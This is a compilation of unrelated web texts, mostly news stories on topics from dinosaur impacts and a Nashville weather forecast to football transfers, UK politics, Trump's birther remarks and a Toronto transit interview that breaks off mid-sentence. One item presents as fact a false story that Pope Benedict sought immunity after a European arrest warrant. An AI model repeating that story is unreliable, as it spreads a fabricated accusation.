-Image caption Double trouble for dinosaurs: Did more than one asteroid or comet strike cause their demise?  The dinosaurs were wiped out 65 million years ago by at least two space impacts, rather than a single strike, a new study suggests.  Previously, scientists had identified a huge impact crater in the Gulf of Mexico as the event that spelled doom for the dinosaurs.  Now evidence for a second impact in Ukraine has been uncovered.  This raises the possibility that the Earth may have been bombarded by a whole shower of space rocks.  The new findings are published in the journal Geology by a team lead by Professor David Jolley of Aberdeen University, UK.  When first proposed in 1980, the idea that an asteroid or comet impact had killed off the dinosaurs proved hugely controversial. Later, the discovery of the Chicxulub Crater in the Gulf of Mexico was hailed as "the smoking gun" that confirmed the theory.  Double trouble  The discovery of a second impact crater suggests that the dinosaurs were driven to extinction by a "double whammy" rather than a single strike.  The Boltysh Crater in Ukraine was first reported in 2002. However, until now it was uncertain exactly how the timing of this event related to the Chicxulub impact.  In the current study, scientists examined the "pollen and spores" of fossil plants in the layers of mud that infilled the crater. They found that immediately after the impact, ferns quickly colonised the devastated landscape.  Ferns have an amazing ability to bounce back after catastrophe. Layers full of fern spores - dubbed "fern spikes" - are considered to be a good "markers" of past impact events.  However, there was an unexpected discovery in store for the scientists.  They located a second "fern spike" in a layer one metre above the first, suggesting another later impact event.  Professor Simon Kelley of the Open University, UK, who was co-author on the study, said: "We interpret this second layer as the aftermath of the Chicxulub impact."  This shows that the Boltysh and Chicxulub impacts did not happen at exactly the same time. They struck several thousand years apart, the length of time between the two "fern spikes".  Uncertain cause  Professor Kelley continued: "It is quite possible that in the future we will find evidence for more impact events."  Rather than being wiped out by a single hit, the researchers think that dinosaurs may have fallen victim to a shower of space rocks raining down over thousands of years.  What might have caused this bombardment is highly uncertain.  Professor Monica Grady, a meteorite expert at the Open University who was not involved in the current study, said: "One possibility might be the collison of Near Earth Objects."  Recently, Nasa launched a program dubbed "Spaceguard". It aims to monitor such Near Earth Objects as an early warning system of possible future collisons.
-National Weather Service Raw Text Product  Displaying AFOS PIL: AFDOHX Received: 2019-02-26 20:55 UTC  040 FXUS64 KOHX 262055 AFDOHX Area Forecast Discussion National Weather Service Nashville TN 255 PM CST Tue Feb 26 2019 .DISCUSSION... Today turned out to be quite a nice day with mostly sunny skies...warm and temperatures in the upper 50s to around 60. Tonight will continue to be clear with lows around 40. Another pleasant day tomorrow with highs 60 to 65. The next rain chance will be tomorrow night due to a boundary meandering across the area in the predominant zonal flow. The good news is the QPF amounts will be light with less than a half inch of rain. Scattered pops stick around into the weekend when the next storm system will push the boundary south. There is some elevated CAPE Thursday night/Friday but at this time don/t feel it will be enough to trigger thunderstorms. If there are any rumbles of thunder they would be across Southern Middle TN. The next cold front looks to be an interesting one. Models are beginning to get more consistent with the timing and the general features. A low over the Ontario Providence will move a cold front through the eastern US over the weekend and into next week. This result in scattered pops Friday through the weekend for middle TN. This is a fairly strong cold front for March and winter does not seem to be done with us yet. At this time will go with mainly a mix of rain and snow. There could be some light accumulations of snow...but with it being so warm hopefully this will only occur on the colder grassy and elevated surfaces. && .AVIATION... 18Z TAF DISCUSSION. VFR through the taf period. Light south winds will continue with patchy cirrus clouds through tonight. The approach of a front after 27/14Z will bring slightly increasing SW winds with 5kft cigs. && .PRELIMINARY POINT TEMPS/POPS... Nashville 40 65 45 53 39 / 0 10 40 50 30 Clarksville 38 61 40 46 35 / 0 10 30 50 20 Crossville 41 61 44 59 40 / 0 10 40 60 30 Columbia 41 66 46 55 40 / 0 10 50 50 30 Lawrenceburg 42 66 47 57 41 / 0 10 50 50 30 Waverly 40 64 41 48 36 / 0 10 40 40 20 && .OHX WATCHES/WARNINGS/ADVISORIES... NONE. && $$ DISCUSSION......12 AVIATION........13
-Get the biggest Manchester United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Manchester United managers are supposed to enjoy it when City lose. But Louis van Gaal had cause to wince when Christian Eriksen scored Tottenham’s winner at the Etihad Stadium on Sunday.  Not because it affected United – the title race hasn’t been any of their concern since well before Christmas. But rather because what Mauricio Pochettino is achieving at White Hart Lane this season means the Dutchman can no longer argue that he needs more time.  It’s a well-worn phrase for under-pressure managers. “We need more time”. But how much time is fair? Judging by what Pochettino is doing at Spurs, Van Gaal is running out.  The Argentinian was appointed at White Hart Lane in May 2014, two weeks after Van Gaal was confirmed as David Moyes’ successor at United.  He took over a team that finished sixth in 2014, a place and five points ahead of United. Last season, he led them to a fifth-place finish and now, halfway through his second season in charge, they’re involved in a credible challenge for Tottenham’s first title since 1961.  More impressively, though, at the same time he’s overseen a massive overhaul of the squad and made a profit in the transfer market. Since his appointment, Pochettino has bought 12 players for around £70m and sold 33 for a combined £84m. That’s a turnover of more than 50 players at a profit of nearly £15m.  Van Gaal, meanwhile, improved on United’s seventh-place finish in 2014 to finish fourth last season and qualify for the Champions League. But both the 64-year-old and captain Wayne Rooney admitted after the defeat at Sunderland at the weekend it will now be ‘difficult’ to match that this time - let alone build on it.  Van Gaal v Pochettino £258m spent by Van Gaal £95m recouped by Van Gaal -£163m Van Gaal net spend £70m spent by Pochettino £84m recouped by Pochettino +£14m Pochettino net spend  After taking a year to rebuild, United were supposed to be ready to challenge for the title at this stage of Van Gaal’s reign but it’s not worked out like that.  What’s more, the lack of progress is set against a backdrop of questionable decisions in the transfer market. United and Tottenham have seen a similar turnover of players over the last 18 months but Van Gaal has spent £258m and recouped £95m, a loss of £163m compared to Spurs’ profit.  Watch: Van Gaal's press conference after Sunderland defeat  Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now  It would be unfair to judge Van Gaal solely by the progress of one club under one manager. But it does offer some context.  There are other factors involved, but what Pochettino has achieved is the type of progress United were hoping for when they appointed Van Gaal - and he’s done it on a smaller budget.  Van Gaal may argue that he’s only halfway through a three-year contract and his project still needs more time. Pochettino, it would appear, has had plenty.
-Mayor 'would have been attempting to pervert course of justice' had he known of investigation at time of remark in 2010, police authority member claims  Boris Johnson would have been "attempting to pervert the course of justice" if he knew police were actively investigating phone hacking when he described fresh allegations as "codswallop", a member of the Metropolitan Police Authority (MPA) has claimed.  Jenny Jones, a London assembly member for the Green party, made the claim after the mayor's deputy for policing, Kit Malthouse, revealed he was informed that Scotland Yard was looking into claims made in a New York Times article on 10 September last year, five days before Johnson dismissed the allegations as a "political put-up job" by Labour.  The revelation also casts doubt on Johnson's claim, made at a London assembly meeting on 15 September, that he was in "almost continuous conversations" with Malthouse about the phone-hacking allegations "and other matters".  The MPA sought to clarify whether the Conservative mayor, who chose to delegate the chairmanship of the MPA to Malthouse 18 months ago, knew an investigation was active when he dismissed the allegations.  Malthouse initially claimed that he had received no specific briefings on phone hacking and had no discussions with senior officers about it in September.  But he admitted this week that such a briefing had taken place after he "personally" reviewed his diary following a written request from Jones for a full account of what he knew and when.  On Tuesday, Malthouse confirmed that John Yates, then Met police assistant commissioner, requested a phone conversation with him on 10 September, in which he reassured him that he was looking at the allegations that had surfaced in the New York Times.  Central to the paper's report was the claim that Andy Coulson, David Cameron's then director of communications, had "actively encouraged" a reporter to illegally intercept phone messages when he was the editor of the News of the World.  Malthouse said Yates had told him that he was looking at the report and considering whether there was "any new evidence", and that Met officers "may fly to the USA to conduct interviews".  Members of the MPA – the body responsible for overseeing Scotland Yard's work – questioned Malthouse about whether he had relayed the briefing about the investigation taking place to Johnson before the mayor made his comments.  Malthouse said he "didn't recall" whether he had discussed what Yates had told him with the mayor prior to the 15 September session, adding: "I think it is probably unlikely that we did, but I cannot recall precisely."  Jones said it was "inconceivable" that Johnson would not have known this when he dismissed the allegations.  She told a meeting at London's City Hall: "If he did know, he was attempting to pervert the course of justice."  Malthouse told Jones this was a "strong charge" to make and warned that "[you] might be getting yourself into hot water by saying things like that".  He said he believed the mayor had based his views on the briefings and reassurances that had been given in previous discussions, and added: "The mayor is a personality that likes to express himself in particular ways."  A spokeswoman for the mayor dismissed Jones's suggestion as "preposterous".  The issue of whether or not the information received by Malthouse was passed on to Johnson before he faced the assembly also put the spotlight on the mayor's decision to delegate the chairmanship of the scrutiny body to Malthouse.  Joanne McCartney, Labour's lead member on the MPA, said: "The questions about the mayor's role in the police investigation will not go away.  "He said when he stood down that he would remain fully accountable for policing, but we still don't know what he knew or what he was told by his deputy before he decided to get involved in a live investigation.  "It's not the first time he's done this and, given his actions, I think the government should now think long and hard before pressing ahead with their plans to give him more direct power over London's policing."  Yates told Malthouse on the same day that he wrote to the prime minister's chief-of-staff, Ed Llewellyn, offering to "brief" Cameron on the latest phone hacking inquiry, but Llewellyn declined the offer.  The assistant commissioner, who quit last week, wrote to Johnson earlier this month to apologise for failings in his briefings about the police's stance on new phone-hacking allegations that emerged after the original 2006-07 investigation.  He told him: "I have acknowledged now that, with hindsight and with what we are currently seeing, my decisions would have been different. If this has placed you in a difficult position, then I very much regret this."
-Donald Trump sure has a strange way of trying to make clear that he’s disavowing the “birther” conspiracy theories about President Barack Obama’s birthplace.  On Friday, Trump gave a press conference in which he said he now believes Obama was born in the US, reversing years of unfounded accusations. He then tried to falsely pin the origin of the conspiracy theory on Hillary Clinton, going so far as to take credit for helping to debunk it.  Less noticed was that even during this late and half-hearted acknowledgement, Trump stood right next to — and was even introduced by — a leading advocate of the birther movement: retired Air Force Lt. Gen. Thomas McInerney.  McInerney isn’t just one of the coterie of former officers who have backed the mogul despite his lack of military service and his continued attacks on the integrity of the nation’s top generals and admirals. Instead, McInerney has spent years publicly arguing that there are “legitimate concerns” about whether Obama was born in the US. He even submitted a court affidavit in support of birther Army Lt. Col. Terrence Lakin, who refused to deploy to Afghanistan because he did not believe Obama was a legitimate president, according to Talking Points Memo.  TPM republished the affidavit McInerney wrote, which is worth reading just to get a sense of the depth of the former general’s birtherism:  As a practical example from my background I recall commanding forces that were equipped with nuclear weapons. In my command capacity I was responsible that personnel with access to these weapons had an unwavering and absolute confidence in the unified chain of command, because such confidence was absolutely essential-- vital-- in the event the use of those weapons was authorized. I cannot overstate how imperative it is to train such personnel to have confidence in the unified chain of command. Today, because of the widespread and legitimate concerns that the President is constitutionally ineligible to hold office, I fear what would happen should such a crisis occur today. In refusing to obey orders because of his doubts as to their legality, LTC Lakin has acted exactly as proper training dictates. That training mandates that he determine in his own conscience that an order is legal before obeying it...Indeed, he has publicly stated that he "invites" his own court martial, and were I the Convening Authority, I would have acceded to his wishes in that regard. But thus stepping up the bar, LTC Lakin is demonstrating the courage of his convictions and his bravery. That said, it is equally essential that he be allowed access to the evidence that will prove whether he made the correct decision. For the foregoing reasons, it is my opinion that LTC Lakin's request for discovery relating to the President's birth records in Hawaii is absolutely essential to determining not merely his guilt or innocence but to reassuring all military personnel once and for all for this President whether his service as Commander in Chief is Constitutionally proper. He is the one single person in the Chain of Command that the Constitution demands proof of natural born citizenship. This determination is fundamental to our Republic, where civilian control over the military is the rule. According to our Constitution, the Commander in Chief must now, in the face of serious-- and widely held-- concerns that he is ineligible, either voluntarily establish his eligibility by authorizing release of his birth records or this court must authorize their discovery. The invasion of his privacy in these records is utterly trivial compared to the issues at stake here. Our military MUST have confidence their Commander in Chief lawfully holds this office and absent which confidence grievous consequences may ensue.  Today, Trump appeared to want to demonstration that he’s putting his birther affiliations behind him. And to do it, he embraced a former officer who put birther conspiracy theories over the military’s sworn duty to uphold the US Constitution and take orders from the nation’s elected leadership. Trump can only hope that McInerney’s political skills are better than his legal ones: Akin was court-martialed by the army and ultimately spent five months imprisoned at Fort Leavenworth.
-Get the biggest Manchester United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Tottenham have made an approach to loan Manchester United left-back Alexander Buttner.  The 24-year-old Dutch defender is surplus to requirements at Old Trafford having failed to impress since his arrival there 16 months ago.  Spurs, who have Jan Vertonghen injured, are desperate for cover at left-back with Benoit Assou Ekotto at QPR on loan and unwilling to return.  Buttner was signed from Vitesse Arnhem in August 2012 for £5million.  He has made a total of just 19 appearances in that time, however, including six this season.  Spurs are understood to be keen to take him on loan for the rest of the season initially with a view to a permanent deal should he impress.  Fulham's Dutch boss Rene Meulensteen has is also keen on a move for his countryman at his former club.  Both Premier League outfits are rivalled, however, by Italian clubs Roma and Genoa would are both interested in a similar deal.
-Officials at Joint Base Andrews outside Washigton, D.C. lifted a lockdown Thursday after determining that a report of an active shooter on the base was untrue.  The confusion was heightened by a planned active shooter drill that had not yet begun and was planned for later in the morning. Someone through a window inside a Malcolm Grow Medical Facility building spotted two individuals – whom the base identified as security personnel – with long guns inspecting the area, a law enforcement source told Fox News.  The individual inside the medical building called 911 unaware they were security, the source said. Given the call, first responders had to treat the situation as a real response. The drill had been planned to take place on the opposite side of the base.  Officials said in a Facebook post Thursday that there was no shooter and no threat to the base or workers there.  "Joint Base Andrews was scheduled to conduct a no-notice active shooter exercise in the late morning on the opposite side of the base," JBA wrote. "However, reports of a real-world active shooter situation at the medical facility were miscommunicated before the exercise was able to begin. There was a misidentification of the security forces emergency services team who were conducting a routine inspection of the medical facility, which caused the distress call to the base defense operations center."  JBA is located in Prince George's County, Maryland. The base is located about 15 miles from the White House and is where Air Force One is parked.  "Fortunately, this was not a life-threatening situation," Col. Brad Hoagland said in the base statement. "We take all threats seriously and reacted to ensure the security of those on the base."  Fox News' Matt Dean, Garrett Tenney, Lucas Tomlinson and The Associated Press contributed to this report.
-Featured image: The blockade. This is the first time the Awá have initiated a protest of this kind on their own. © Survival International  By Survival International  Members of Brazil’s Awá tribe have blockaded a railroad owned by Vale mining company in the eastern Amazon.  The company has moved to expand the railroad, but the Awá say the expansion will increase the number and size of trains which transport iron ore from the Carajás mine to the port of São Luis – and that this will make it harder for them to hunt for food.  Carajás is the world’s largest open pit iron ore mine. To transport the iron ore, trains that are over 3 kilometers in length regularly hurtle through close to Awá territory.  The tribe are calling for a meeting with the company and FUNAI, the Brazilian government’s indigenous affairs department, so that their wishes can be heard and their rights respected.  On Saturday a large group of Awá families occupied a section of the railroad which runs alongside their land.  Following a meeting with Vale representatives yesterday, the Awá agreed to suspend the blockade on condition that the company upholds its agreement to mitigate the impacts on the Indians’ forest.  This is the first time that the Awá have blockaded the railroad on their own initiative and reflects their determination to hold Vale to account.  In April 2014 Survival’s international campaign succeeded in pushing the Brazilian government to evict illegal loggers and settlers who had destroyed over 30% of their central territory.  However, the Awá are still one of the most vulnerable peoples on the planet. Around 100 remain uncontacted and are very vulnerable to diseases brought in by outsiders, to which they have no resistance.  Last year fires, possibly started by loggers, ravaged one Awá territory, home to the largest group of uncontacted members of the tribe.  Act now to help the Awá  Your support is vital if the Awá are to survive. There are many ways you can help.
-................ a sponge rubber stunt double .............  .................. for your game controller .............  We've all been there. Anyone who has picked up a video game controller and played a game understands the anger and frustration that comes with it.  Gamers are emotional. Video games are meant to bring out your emotions. So occasionally you throw your controller, and break it into a dozen pieces, rendering it useless. Then you have to spend another $30-$50 on a replacement controller that is destined for the same fate.  Stop breaking your game controllers!  The THROW CONTROL was created for gamers who need to take their anger and frustration out on something other than their expensive controllers. The sleek smooth design is made from firm and durable sponge rubber that can take a beating.  The next time you feel like throwing your video game controller, pick up the THROW CONTROL, and take all your stress out on it instead. Throw it, kick it, punch it, stomp on it...whatever it takes to get back in the game without destroying anything.
-The federal government has spent almost $65,000 waging a legal fight over home-equity assistance for a military member who lost $88,000 on the sale of his house when he moved for work.  The Treasury Board Secretariat provided the figures at the request of the NDP, which asked how much Ottawa has paid out in legal fees in the case involving Maj. Marcus Brauer.  The secretariat has so far paid $58,646.26, which includes $25,376 for Brauer's legal fees and disbursements, and $33,270 for the federal government's legal fees.  It also spent almost $6,000 for a third party review of the housing market in Alberta that's at the centre of the dispute, making the total expenditure $64,644.  Brauer went to court to seek compensation for the $88,000 he lost on the sale of his home after he was posted to another base in 2010 and the military refused to pay his full losses.  The Federal Court in Halifax ruled last May that the Treasury Board Secretariat should review its decision to grant him only $15,000 in compensation.  The board has not released the results of the review.
-Elon Musk's giant lithium ion battery completed by Tesla in SA's Mid North  Updated  Tesla has completed construction of its giant lithium ion battery, described as the world's most powerful, with testing expected in coming days ahead of a December 1 operation deadline.  The array of Tesla Powerpack batteries has been installed alongside French company Neoen's Hornsdale windfarm near Jamestown in South Australia's Mid North region.  South Australian taxpayers will spend up to $50 million subsidising the 100-megawatt battery.  In return, the SA Government will have access to some of the battery's output to provide stability services to the grid.  The Government will also have the right to tap the battery's full output to prevent load shedding blackouts if supply runs low this summer.  Load shedding happens when the market operator (AEMO) directs power providers to switch off supply to some customers to protect the grid.  The new battery will produce enough energy to power about 30,000 homes for a little over an hour.  It was one of several measures announced in Premier Jay Weatherill's $550 million energy plan, prompted by supply shortfalls, soaring prices and concerns over security of the electricity grid.  The plan also included a fleet of diesel-powered backup generators, which have already been installed ahead of summer.  "The world's largest lithium ion battery will be an important part of our energy mix," Mr Weatherill said.  "It sends the clearest message that South Australia will be a leader renewable energy with battery storage.  "An enormous amount of work has gone in to delivering this project in such a short time, and I look forward to visiting Jamestown next week to personally thank those who have worked on this project."  Mr Weatherill visited the battery site at the end of September with Tesla boss Elon Musk, to mark the halfway point of construction.  What will the battery do?  The battery is privately owned by Neoen in partnership with Tesla. In normal circumstances, the battery will be charged with power from the nearby Hornsdale windfarm when power is plentiful and cheap.  The operators will then have the right to sell some of it back into the grid when the supply-demand balance is tighter and prices are higher.  The SA Government will be able to use a portion of the battery's output to provide stability services to the grid.  There is a market for these services, but in South Australia there is limited competition.  At times when South Australia can't import stability services from across the interconnector to Victoria, the state pays extraordinary prices, which drive up bills for households and businesses.  The Government expects the battery to bring new competition to that market.  In addition, the Government will have the right to tap the battery's entire output if the state is running low on power and load shedding is imminent.  Coupled with the state's newly installed fleet of backup diesel generators, the battery could stop thousands of households unexpectedly losing power for half an hour or so on a hot summer's afternoon.  Topics: alternative-energy, wind-energy, environment, electricity-energy-and-utilities, science-and-technology, jamestown-5491, sa, adelaide-5000  First posted
-A Falkland Islander votes to remain a UK citizen. The Labour leader faces further controversy over the islands Marcos Brindicci / Reuters  One of Jeremy Corbyn’s top aides is understood to have resigned because of internal feuding in the Labour leader’s office.  Neale Coleman, head of rebuttal and a former aide to Ken Livingstone and Boris Johnson, quit after a row with Seumas Milne, the Labour leader’s media and political adviser.  The departure highlights the split in the leader’s office over how left wing the Labour leader should be. A party spokeswoman said it did not comment on staffing issues.  Tensions have been rising for weeks. One senior Labour source said Mr Milne had repeatedly briefed against Mr Coleman and wanted him gone. The insider said: “Seumas thinks he’s head of strategy, head of communications, head of policy and chief of staff all in one.”  Mr Corbyn…
-From now on he’s going to have to do his pontificating.  From BEHIND BARS.  Possibly.  Pope Benedict, Joseph Ratzinger, has scheduled a meeting with Italian President Giorgio Napolitano (above) for Saturday, February 23 to discuss securing protection and immunity from prosecution [for child sex crimes] from the Italian government, according to Italian media sources.  Ratzinger’s meeting follows upon the apparent receipt by the Vatican of a diplomatic note from an undisclosed European government on February 4, stating its intention to issue an arrest warrant for Ratzinger, who resigned from his pontificate less than a week later.  In response to the February 23 meeting, the International Tribunal into Crimes of Church and State (ITCCS), through its field Secretary, Rev. Kevin Annett, has written to President Napolitano, asking him to refrain from assisting Ratzinger in evading justice.
-Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  A man who dressed in a clown outfit and intimidated children outside a school has been given a criminal record.  The 18-year-old man was seen outside St Cenydd Comprehensive School in Caerphilly on Friday.  He has now been issued a fixed penalty notice and fined £90 for a public order offence, which will go on his criminal record.  This unrelated video footage shows a clown spotted in Merthyr:  Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now  Chief Inspector Paul Staniforth, from Gwent Police, said: “Gwent Police will not tolerate such behaviour and anyone seeking to cause distress and potential harm to anyone will be dealt with.  “In this case, not only is this man out of pocket, he will now have a criminal record which will impact his future, including any job opportunities.  poll loading Should people who dress up as clowns get a criminal record? 1000+ VOTES SO FAR YES NO  Another clown was seen in Caernarfon:  Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now  “I hope this result sends a strong message to anyone thinking about taking part in this craze, that their five minutes of what they may think is fun really isn’t worth it.  “Please be mindful and just think about the impact this is having on the public and police resources, not to mention the consequences for yourself and others.”
-President Bush says he was aware that his top aides met in the White House basement to micromanage the application of waterboarding and other widely-condemned interrogation techniques. And he says it was no big deal.  "I'm aware our national security team met on this issue. And I approved," Bush told ABC News' Martha Raddatz on Friday. "I don't know what's new about that; I'm not so sure what's so startling about that."  It's true that it has been widely assumed and occasionally reported that the CIA's use of brutal interrogation techniques could be traced back to the White House on a general level. But it was most definitely new last week when ABC News reported that a group of Bush's top aides, including Vice President Cheney, took part in meetings where they explicitly discussed and approved -- literally blow by blow -- tactics such as waterboarding. And while Bush has previously defended these tactics -- vaguely, and insisting against all evidence that they did not amount to torture -- he had not, until now, acknowledged that he personally OK'd them beforehand.  If you consider what the government did to be torture, which is a crime according to U.S. and international law, Bush's statement shifts his role from being an accessory after the fact to being part of a conspiracy to commit.  What Bush Said  Here's the transcript of Bush's Friday morning interview with ABC News White House correspondent Martha Raddatz.  Raddatz: "ABC News reported this week that your senior national security officials all got together and approved -- including Vice President Cheney -- all got together and approved enhanced interrogation methods, including waterboarding, for detainees."  Bush: "You mean back in 2003?"  Raddatz: "Are you aware of that? Are you aware of that?"  Bush: "Was I aware that we were going to use enhanced --"  Raddatz: "That they all met together?"  Bush: "Of course. They meet together all the time on --"  Raddatz: "And approved that?"
-This 1970 Datsun Bluebird SSS Coupe (chassis P510-244933) is the JDM right-hand-drive sibling of the common 510 model, and is notable for its swept c-pillars, SSS exterior trim, and wide rear lamp assembly with sequential turn signals. It was purchased by the current SoCal owner directly from Japan, where it was built by a American serviceman whose attention to detail and quality of work is detailed in the 65 page build thread below. The car has been modified with a SR20 turbo engine and the seller calls the car “flawless, needing nothing, and the cleanest Bluebird anywhere.” It has never been offered publicly for sale before now, and is available in Escondido, California for $40k.  Check out the full build thread here on 510realm.com. Exterior details like proper chrome fender mirrors, an NOS JDM grille, and an NOS replacement rear bumper help set this Bluebird apart from many other Datsun builds. Front brakes are from an R32 Skyline and rear brakes are Wilwood units. Troy Ermish coil-overs and TTTuning adjustable front TC rods highlight the suspension build, and set the car down nicely over 16″ Rays TE37 wheels fastened with titanium lug nuts.  The dash features the stock dash with the factory radio and clean, fully functioning switch-work. One aftermarket gauge is hidden beneath the dash and the steering wheel is a yellow-stitched Personal unit. An electric power steering system has been added, as seen here in the gallery. Custom made GTS carbon fiber low-back retro bucket seats look very cool, and Sparco 4-point belts were added for both driver and passenger.  The Nissan SR20 engine has 45K miles and is all stock apart from a Greddy intake, putting 200 horsepower to the wheels. The engine bay is very clean, and details like the NOS wiper motor and TSR radiator give it a high quality look. The 5-speed transmission feeds power through a modified transmission tunnel to a R200 limited-slip differential. A 5-lug conversion and Porsche 930 CV joints have further fortified the driveline.  Click here to email the seller directly if you are interested.  Check out the additional photos here in the Flickr album and slide-show below.
-CLOSE The Garbage Ball made by Jerry Gallipeau, owner of 585 Rockin Burger Bar in Gates. (September 2016) Carlos Ortiz  Buy Photo Inside the Garbage Ball made by Jerry Gallipeau, owner of 585 Rockin Burger Bar. (Photo: CARLOS ORTIZ/@CFORTIZ_DANDC/STAFF PHOTOGRAPHER)Buy Photo  "The Garbage Ball is here!!! Everything in a plate formed into a ball, coated in Panko and deep fried!! Doesn't get much better!!'  It was a single post on Facebook, along with a photograph of a sizable sphere of food, apparently deep fried, topped with a meaty ground beef sauce, a squiggle of an orange condiment and surrounded by a confetti of cheese.  The reaction was immediate. More than 2,400 people reacted with a like, love or wow on Facebook. A total of 2,963 people shared it. The post garnered more than 800 comments:  Sweet mother of God. ... Why can't we get these in the southern Adirondacks. Lived in Rochester and moved away, missing garbage plates let alone this beautiful creation!!!  Omgggggggg when we going.  I might have to try this instrument of death.  That looks amazeballs.  That one Facebook post initially promised a cash cow for the 585 Rockin Burger Bar in Gates. But the feeding frenzy that ensued wound up being as much of a headache as a help.  Chef and co-owner of the bar around the corner from Cinemark Tinseltown theater, Jerry Gallipeau enjoys concocting dishes with crazy twists. His pepperoni pizza melt has two pepperoni pizza grilled cheese sandwiches as buns. A chips and dip burger includes house-made onion dip and potato straws. And one of his specials, the mac attack, substitutes mac and cheese patties in for buns.  In the past, Gallipeau applied his creative twists to arancini. He started out with traditional versions of the Italian rice balls, which were stuffed with meat, peas and mozzarella cheese, coated with bread crumbs and deep fried. But he also made nontraditional versions, including Buffalo chicken, lobster and Cuban, stuffed with pulled pork and ham and served with a Cuban sauce on top. He also branched out to dessert arancini including peanut butter and jelly, cannoli, banana split, raspberry cream and lemon pie.  One day, he had a request for arancini based on a trash plate, so he stuffed the arancini with hamburger, hot sauce and mac salad; his customer was pleased.  Buy Photo It took Jerry Gallipeau awhile to figure out the breading process for the Garbage Ball. (Photo: CARLOS ORTIZ/@CFORTIZ_DANDC/STAFF PHOTOGRAPHER)  That got his creative wheels turning. He took the idea a step further, eliminating the rice. In a huge bowl, he combined ground beef, french fries, macaroni salad and shredded cheddar cheese. Getting that concoction to hold together in a ball wasn't an easy process; he equated it to making a snowball out of slush. After several tries, he developed a technique for forming the balls, smearing them with egg, coating them in Panko bread crumbs and repeating the process. The ball consisted of more than two pounds of food, midway in size between a softball and bowling ball, meant for sharing.  He topped it with meat-based hot sauce and a squiggle of his Rockin Sauce, kind of a spicy mayo, and surrounded it with shredded cheddar cheese. It was served on a paper-lined tray instead of a plate.  Buy Photo The Garbage Balls' transition from the original and time-consuming size, left, to the more manageable softball-sized (OK, it's a bit larger) Garbage Ball, right, made by Jerry Gallipeau, owner of 585 Rockin Burger Bar in Gates. (Photo: CARLOS ORTIZ/@CFORTIZ_DANDC/STAFF PHOTOGRAPHER)  He offered it as a special one night, making each ball to order. It was a hit with customers, but after the time-consuming process of making 30 to order that night, Gallipeau looked around the mess from the process and said, "I'm never going to do that again."  That vow lasted for a couple of years until a few weeks ago, when he decided to roll out the garbage ball again. This time, he premade the balls and chilled them, which helped compact the mixture. He figured this would streamline the process enough to make it workable.  His son, Jerid, 29, who also works in the family-owned restaurant, snapped a picture and shared it on the restaurant's Facebook page. The reaction was immediate, with many customers coming in for the balls.  Buy Photo Garbage Ball in the fryer as Jerry Gallipeau makes it at his restaurant 585 Rockin Burger Bar. (Photo: CARLOS ORTIZ/@CFORTIZ_DANDC/STAFF PHOTOGRAPHER)  The problem: Only two of the supersized balls could fit into a fryer basket, and the limited output slowed down the kitchen.  "It was delaying things quite a bit," Gallipeau said.  The next day, the restaurant ran a second Facebook post: Our sincere apologies for the long waits tonight. Our garbage ball special went viral on our post. They are made to order, as well as all of our burgers, so there was a backup because of it. Kudos to our kitchen staff for giving their all in the 200 plus degree kitchen.  After that, the garbage balls were downsized to a softball size — still a hefty pound of food — to fit more balls in a fryer basket. To avoid backing up the kitchen on busy weekends, it is now a Wednesday night special, sold until they are gone. They go for $9.95 each.  In the meantime, Gallipeau is brainstorming what he'll concoct next. He is currently pondering adding one more ingredient to the garbage balls: hot dogs.  NEWSLETTERS Get the Flavors of Rochester newsletter delivered to your inbox We're sorry, but something went wrong An inside look at Rochester's vibrant food scene, including restaurant happenings, local craft beer and Finger Lakes wine. Please try again soon, or contact Customer Service at 1-800-790-9565. Delivery: Thurs Invalid email address Thank you! You're almost signed up for Flavors of Rochester Keep an eye out for an email to confirm your newsletter registration. More newsletters  If you go:  The 585 Rockin Burger Bar is at 250 Pixley Road in Gates, around the corner from the Cinemark Tinseltown theater.  The Garbage Ball is available on Wednesdays and occasionally other days; check the restaurant's Facebook page for updates.  TRACYS@Gannett.com  Read or Share this story: http://on.rocne.ws/2cV1x58
-By Lucas Costello  David Miller isn’t happy. His subway was delayed, the reasons for the delay, relayed over the subway intercom, unintelligible. And yet, as Toronto lurches toward 2020, it is likely that he will remain the amalgamated City of Toronto’s “Transit Mayor” for the foreseeable future — as the severed limbs of what was once Transit City are dug up and reanimated, discarded for new parts, then dug up and reanimated once again.  Ethnic Aisle sat down with him to discuss how an evidence based, interconnected transit plan, became a transit Frankenstein a decade later.  [Ethnic Aisle] What is your recollection of the reception of Transit City when it was announced, specifically from those communities that have now been left out of this whole process, such as Jane/Finch, Malvern, and Scarborough, which are now years behind?  [Miller] Well, we are years behind. Transit City was announced in March 2007 and the Premier announced full funding for the entire Transit City — not just the first three lines, which were Eglinton, Sheppard and Finch — on June 15, 2007. So as of June 15, 2007 the project went full steam ahead. About a year later he announced funding or we reached an agreement, I can’t remember the exact mechanism, but there was an announcement that Finch, Sheppard, and Eglinton would be the first three lines, and by 2009 the engineering was done sufficiently to allow Sheppard to start.  Finch was about to start and Eglinton was well on the way. All three lines got slowed down a bit because Metrolinx was structurally incompetent, they didn’t have the staff to be able to understand [Transit City]. That’s the background for the answer to your question.  We were full steam ahead for 2007 with the funding in place, and doing the engineering so that Finch, Sheppard, Eglinton construction could start in 2009 or 2010. In that context we held over 80 public meetings about the Finch and the Sheppard lines. There was overwhelming public support and excitement. In lower income, marginalized, and racialized communities I’d say that was also accompanied with a bit of skepticism “Are you really gonna do it?”  Because people have heard so many commitments in the past that haven’t come through. There were a few details that there were concerns about and work was done to address those community concerns. Those consultations included me as well, not in the public meetings, but I did a tour of some of the wards, particularly the Sheppard route, by taking buses from Malvern and talking to people on the bus.  So there was very, very strong public support for rapid transit to communities where people took the bus. For example, I rode the Finch bus one morning and main streeted a couple of stops and talked to people. So there’s very strong support in those communities and people I think understand, when they’re stuck on the bus, that rail based rapid transit through a modern network of light rail would make their lives significantly easier.  Why do you think the resistance from Councillor Mammoliti’s ward, from the Emery Village BIA, and also the 2010 “transportation plan” from former mayor Rob Ford that stated he would get ten+ subway stations built for $4 billion by 2015, was able to undo the work that you had done so rapidly?  Well, I see history slightly differently. First of all, I had several meetings in 